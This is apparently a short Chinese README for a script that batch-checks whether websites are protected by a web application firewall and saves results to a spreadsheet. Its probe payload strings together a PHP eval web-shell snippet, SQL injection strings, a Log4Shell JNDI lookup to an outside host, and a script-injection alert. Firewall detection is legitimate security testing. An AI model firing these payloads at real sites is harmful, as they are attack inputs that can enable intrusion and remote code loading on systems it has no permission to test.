批量检查站点是否存在waf
python3 check-waf.py urls.txt
默认生成的Excel表格名字为:{txt文件名}_waf_results_{当前时间}.xlsx
payload:?a=<%3fphp+%40eval($_GET['cmd'])%3b%3f>&b=1'+or+'1'%3d'1&c=${jndi%3aldap%3a//10.0.0.1%3a8080/Exploit}&s=<script>alert(1)</script>&id=UNION+SELECT+ALL+FROM+information_schema+AND+'+or+SLEEP(5)+or+'